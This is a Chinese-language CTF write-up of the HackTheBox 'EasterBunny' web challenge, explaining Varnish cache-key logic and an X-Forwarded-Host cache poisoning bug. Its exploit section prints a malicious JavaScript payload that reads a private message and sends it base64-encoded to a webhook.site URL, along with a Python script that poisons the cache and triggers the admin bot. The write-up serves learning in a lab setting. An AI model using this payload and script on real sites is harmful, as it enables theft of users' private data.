--- title: EasterBunny on HackTheBox date: 2024-04-18 22:08:08 tags: - CTF - HackTheBox - Cache Poisoning --- ## Before all ~~看著整份檔案後直接昏厥~~ 試著自己解了一下發現想都想不通,就去看別人write up了... 結果Burp Suite直接抓包一直過不了,最後用python requests手刻腳本才成功(倒) 但是學到好多東西,開心開心ww ## Cache Analyzation Cache就是對於頁面的暫存,大致分為server端和browser端。 browser端蠻好理解的,像是如果重複造訪一個網頁但你現在是斷網的還是可以儲存方才內容。 而server端則是發生在兩次request的cache key是一樣時,給予跟剛才相同的結果回傳。 這題是要利用server端的暫存帶來的漏洞進行利用。 來分析`cache.vcl`這支檔案(用來定義整台機器的Cache) **cache.vcl** ```vcl vcl 4.1; backend default { .host = "127.0.0.1"; .port = "1337"; } sub vcl_hash { hash_data(req.url); if (req.http.host) { hash_data(req.http.host); } else { hash_data(server.ip); } return (lookup); } sub vcl_recv { set req.http.X-Forwarded-URL = req.url; set req.http.X-Forwarded-Proto = "http"; if( req.http.host ~ ":[0-9]+" ) { set req.http.X-Forwarded-Port = regsub(req.http.host, ".*:", ""); } else { set req.http.X-Forwarded-Port = "80"; } if ( !( req.url ~ "^/message") ) { unset req.http.Cookie; } } sub `vcl_backend_response` { if (bereq.url ~ "^/$" || bereq.url ~ "^/letters") { set beresp.ttl = 60s; } else if (bereq.url ~ "^/message") { if(beresp.status != 200) { set beresp.ttl = 5s; } else { set beresp.ttl = 120s; } } else if (bereq.url ~ "^/static") { set beresp.ttl = 120s; } } sub vcl_deliver { if (obj.hits > 0) { set resp.http.X-Cache = "HIT"; } else { set resp.http.X-Cache = "MISS"; } set resp.http.X-Cache-Hits = obj.hits; } ``` 首先,`backend default`段落定義了後端cache服務建立在`127.0.0.1`,端口1337 再來,是`vcl_hash`的段落,這個段落定義了cache key的計算方式: ```vcl sub vcl_hash { hash_data(req.url); if (req.http.host) { hash_data(req.http.host); } else { hash_data(server.ip); } return (lookup); } ``` 其中,`req.url`代表了網址的路徑url: `https://wha13.github.io/hello_world?id=1`的req.url會是`/hello_world?id=1`。 而`req.http.host`代表了封包裡的`Host: `header。 `vcl_recv`段落定義了各項參數抓取的 header 訊息。 最後,`vcl_backend_response`則是定義了cache要針對哪些路徑作暫存,暫存時間為多久: ```vcl sub `vcl_backend_response` { if (bereq.url ~ "^/$" || bereq.url ~ "^/letters") { set beresp.ttl = 60s; } else if (bereq.url ~ "^/message") { if(beresp.status != 200) { set beresp.ttl = 5s; } else { set beresp.ttl = 120s; } } else if (bereq.url ~ "^/static") { set beresp.ttl = 120s; } } ``` 如果正則匹配到`letters`那是60秒,`message`則在非200的status code下圍5秒,其他為120秒,`static`為120秒。 `vcl_driver`就是定義回應的header告知cache訊息。 ## Cache Poisoning 回到剛剛的`vcl_hash`一下,會發現控制cache key的元素都是在送封包時可以偽造的。 觀察`route.js`連接`bot.js`之片段 **route.js** ```js router.post("/submit", async (req, res) => { const { message } = req.body; if (message) { return db.insertMessage(message) .then(async inserted => { try { botVisiting = true; await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret); botVisiting = false; } catch (e) { console.log(e); botVisiting = false; } res.status(201).send(response(inserted.lastID)); }) .catch(() => { res.status(500).send(response('Something went wrong!')); }); } return res.status(401).send(response('Missing required parameters!')); }); ``` **bot.js** ```js const visit = async(url, authSecret) => { try { const browser = await puppeteer.launch(browser_options); let context = await browser.createIncognitoBrowserContext(); let page = await context.newPage(); await page.setCookie({ name: 'auth', value: authSecret, domain: '127.0.0.1', }); await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000, }); await page.waitForTimeout(3000); await browser.close(); } catch (e) { console.log(e); } }; ``` 會發現請求的`req.url`是`/letters?id=${inserted.lastID}`,而`req.host`是`127.0.0.1`。 假設現在的末id是10,那下一篇就是11,造成Cache Poisoning的Payload應該要是: ```pcap GET /letters?id=11 HTTP/1.1 Host: 127.0.0.1 ``` 再來,觀察`route.js`中`letters`的片段: ```js router.get("/letters", (req, res) => { return res.render("viewletters.html", { cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`, }); }); ``` 其中,`req.hostname`的值是綁在`X-Forwarded-Host`的header上,這邊定義的cdn會傳到templates上去... **viewletters.html** ```html {% extends "base.html" %} {% block content %} <h1 class="title" style="margin: 0">Viewing letter #<span id="letter-id">1</span></h1> <h2 class="title" id="error-message" style="visibility: hidden;">&nbsp;</h2> {% include "letter.html" %} <div class="letter letter-small"> <div class="letter-inner letter-inner-small"> <a href="/">Write New Letter</a> </div> </div> <div id="previous" class="sign-post"> <div class="sign-post-text"> <a href="#">View previous<br><br>letter</a> </div> </div> <div id="next" class="sign-post flipped"> <div class="sign-post-text"> <a href="#">View next<br><br>letter</a> </div> </div> <script src="viewletter.js"></script> {% endblock %} ``` 會載入`viewletter.js`,而它引入了`base.html`....... `base.html`中有這麼一行: `<base href="{{cdn}}" />` 啊哈! 邏輯出來了,因為暫存與cdn取值的方法`req.hostname`,只要自訂`X-Forwarded-Host`到自己的host,往`/static/viewletter.js`塞payload進去就好。 理論header: ```pcap GET /letters?id=11 HTTP/1.1 Host: 127.0.0.1 X-Forwarded-Host: william957-web.github.io ``` ## Exploit 自己的惡意js,抓id=3的文章,然後base64丟webhook [https://william957-web.github.io/static/viewletter.js](https://william957-web.github.io/static/viewletter.js) ```js fetch("http://127.0.0.1/message/3").then(res => {return res.text();}).then(res =>fetch("http://webhook.site/ae5a8c4b-5567-4da6-abbf-cbb4908426fe?log="+btoa(res))); ``` python腳本(因為header和環境那些最乾淨) ```py from pwn import * import time import requests as req url='http://94.237.62.195:59541' my_server='william957-web.github.io' headers={ "Host":"127.0.0.1", 'X-Forwarded-Host' : my_server } web=req.get(f'{url}/message/1') cur_id=web.json()['count'] web=req.get(f'{url}/letters?id={cur_id+1}', headers=headers) if my_server in web.text: info("Cache poisoned!!!") req.post(f'{url}/submit',json={'message' : 'pwned by whale120'}) time.sleep(5) ``` ![image](https://hackmd.io/_uploads/rkc8usAlR.png) FINALLY!!! ## References 1. [https://www.anquanke.com/post/id/213597](https://www.anquanke.com/post/id/213597) 2. [https://h0pp1.github.io/posts/easter-bunny/](https://h0pp1.github.io/posts/easter-bunny/)